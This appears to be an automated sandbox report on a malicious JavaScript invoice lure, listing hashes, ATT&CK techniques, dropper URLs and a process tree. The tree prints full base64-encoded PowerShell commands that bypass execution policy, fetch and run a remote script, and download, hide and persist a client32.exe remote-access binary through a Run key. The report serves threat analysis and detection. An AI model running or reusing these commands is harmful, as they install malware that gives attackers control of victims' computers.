b1e216ae1f56cc54120fa85b9ddbcf263b20bd113f8a3c3950ba7e8ffa7dbd6e

General

Target

3199683_4229061_rechnung.js
Size

28KB
MD5

bcbecbffd44fe370c09c287c4e5bf468
SHA1

cc2293c8a147b27cd16eb01a35367cf5390c2292
SHA256

b1e216ae1f56cc54120fa85b9ddbcf263b20bd113f8a3c3950ba7e8ffa7dbd6e
SHA512

a13e88fde5eb2e640fe2ee366a18392cde117a9ab620ff28a99ff04c88ad3c70061419bef62897d7152bd2d1f87ef11743932626b95f3f10d5cc3c1573ec0adf
SSDEEP

384:9/qm/IlGvFj+Rqa/tHF3kAfve90G32nG0qvqfZF9Y0mSydnj2Uf:YzCY1Hd5+9f3mOvu3YHKY

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://visa-sa.com/file4.ps1

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://193.233.232.150/view.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4824	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ONEN0TEupdate_4781 = "C:\\Users\\Admin\\AppData\\Roaming\\ONEN0TEupdate_4781\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5036	powershell.exe
5036	powershell.exe
4824	powershell.exe
4824	powershell.exe
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 5036	2652	wscript.exe	85
PID 2652 wrote to memory of 5036	2652	wscript.exe	85
PID 5036 wrote to memory of 4824	5036	powershell.exe	87
PID 5036 wrote to memory of 4824	5036	powershell.exe	87
PID 4824 wrote to memory of 4304	4824	powershell.exe	88
PID 4824 wrote to memory of 4304	4824	powershell.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3199683_4229061_rechnung.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" PowershelL -ep bYPasS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwB2AGkAcwBhAC0AcwBhAC4AYwBvAG0ALwBmAGkAbABlADQALgBwAHMAMQAiACkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bYPasS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwB2AGkAcwBhAC0AcwBhAC4AYwBvAG0ALwBmAGkAbABlADQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -win hid -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMwAzAC4AMgAzADIALgAxADUAMAAvAHYAaQBlAHcALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGgAKQBdAH0AOwAgACQAcgB6AGkAcAA9ACQAcgBzAHQAcgArACcALgB6AGkAcAAnADsAIAAkAHAAYQB0AGgAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXAAnACsAJAByAHoAaQBwADsAIAAkAHAAegBpAHAAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABPAE4ARQBOADAAVABFAHUAcABkAGEAdABlAF8AJwArACQAcgByAG4AdQBtADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAGwAaQBuAGsAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAUABhAHQAaAA7ACAAZQB4AHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBwAGEAdABoACAAJABwAGEAdABoACAALQBkAGUAcwB0AGkAbgBhAHQAaQBvAG4AcABhAHQAaAAgACQAcAB6AGkAcAA7ACAAJABGAE8ATABEAD0ARwBlAHQALQBJAHQAZQBtACAAJABwAHoAaQBwACAALQBGAG8AcgBjAGUAOwAgACQARgBPAEwARAAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAEgAaQBkAGQAZQBuACcAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAcABhAHQAaAA7ACAAYwBkACAAJABwAHoAaQBwADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAAJABmAHMAdAByAD0AJABwAHoAaQBwACsAJwBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcAOwAgACQAcgBuAG0APQAnAE8ATgBFAE4AMABUAEUAdQBwAGQAYQB0AGUAXwAnACsAJAByAHIAbgB1AG0AOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAGUAIAAkAHIAbgBtACAALQBWAGEAbAB1AGUAIAAkAGYAcwB0AHIAIAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
a9697b37f6d44d68c9c89aa8b02312d6

SHA1
5678c07e1b2c600334f4068d1ea7be75906d04cd

SHA256
8119d8f534425577221c5602cacacf3da751e31600f0bac5202d3cbc5f2ebe8c

SHA512
21a0e239231711c82f28d789d3c07934adec9fc9f7202cf26194ac13cd032f31dadc6d3cfc01fe575354fe63b138f07054369710bb2e20dd664c724309c95f20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
08bc58da3b7ade9c51f830bdcc5fd02a

SHA1
c2110d4e8d4640c91d0a89c530e885620753cb46

SHA256
a1debcd09bdb73a4607173ebdbec18ec00f5ff92c6f26974239f5d1642e00b63

SHA512
82956c0a33d80b077dec8dbacc7edfa659ed107c79b0602cd2a55a673883acf7ef376aa03308e8b95fb4a364dbedab17f0eff01706e68237e5019ce6f82cb761

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
a6c9d692ed2826ecb12c09356e69cc09

SHA1
def728a6138cf083d8a7c61337f3c9dade41a37f

SHA256
a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

SHA512
2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqhobmpd.ihi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4304-170-0x000001D7FC280000-0x000001D7FC290000-memory.dmp

Filesize
64KB

Download
memory/4304-178-0x000001D7FC280000-0x000001D7FC290000-memory.dmp

Filesize
64KB

Download
memory/4304-177-0x000001D7FC280000-0x000001D7FC290000-memory.dmp

Filesize
64KB

Download
memory/4304-159-0x000001D7FC280000-0x000001D7FC290000-memory.dmp

Filesize
64KB

Download
memory/4304-176-0x000001D7FC280000-0x000001D7FC290000-memory.dmp

Filesize
64KB

Download
memory/4304-169-0x000001D7FE870000-0x000001D7FE884000-memory.dmp

Filesize
80KB

Download
memory/4824-156-0x000001DD61BE0000-0x000001DD61BF0000-memory.dmp

Filesize
64KB

Download
memory/4824-174-0x000001DD61BE0000-0x000001DD61BF0000-memory.dmp

Filesize
64KB

Download
memory/4824-175-0x000001DD61BE0000-0x000001DD61BF0000-memory.dmp

Filesize
64KB

Download
memory/4824-158-0x000001DD61BE0000-0x000001DD61BF0000-memory.dmp

Filesize
64KB

Download
memory/4824-157-0x000001DD61BE0000-0x000001DD61BF0000-memory.dmp

Filesize
64KB

Download
memory/5036-171-0x0000023FCE160000-0x0000023FCE170000-memory.dmp

Filesize
64KB

Download
memory/5036-172-0x0000023FCE160000-0x0000023FCE170000-memory.dmp

Filesize
64KB

Download
memory/5036-173-0x0000023FCE160000-0x0000023FCE170000-memory.dmp

Filesize
64KB

Download
memory/5036-134-0x0000023FD0280000-0x0000023FD02A2000-memory.dmp

Filesize
136KB

Download
memory/5036-146-0x0000023FCE160000-0x0000023FCE170000-memory.dmp

Filesize
64KB

Download
memory/5036-145-0x0000023FCE160000-0x0000023FCE170000-memory.dmp

Filesize
64KB

Download
memory/5036-144-0x0000023FCE160000-0x0000023FCE170000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads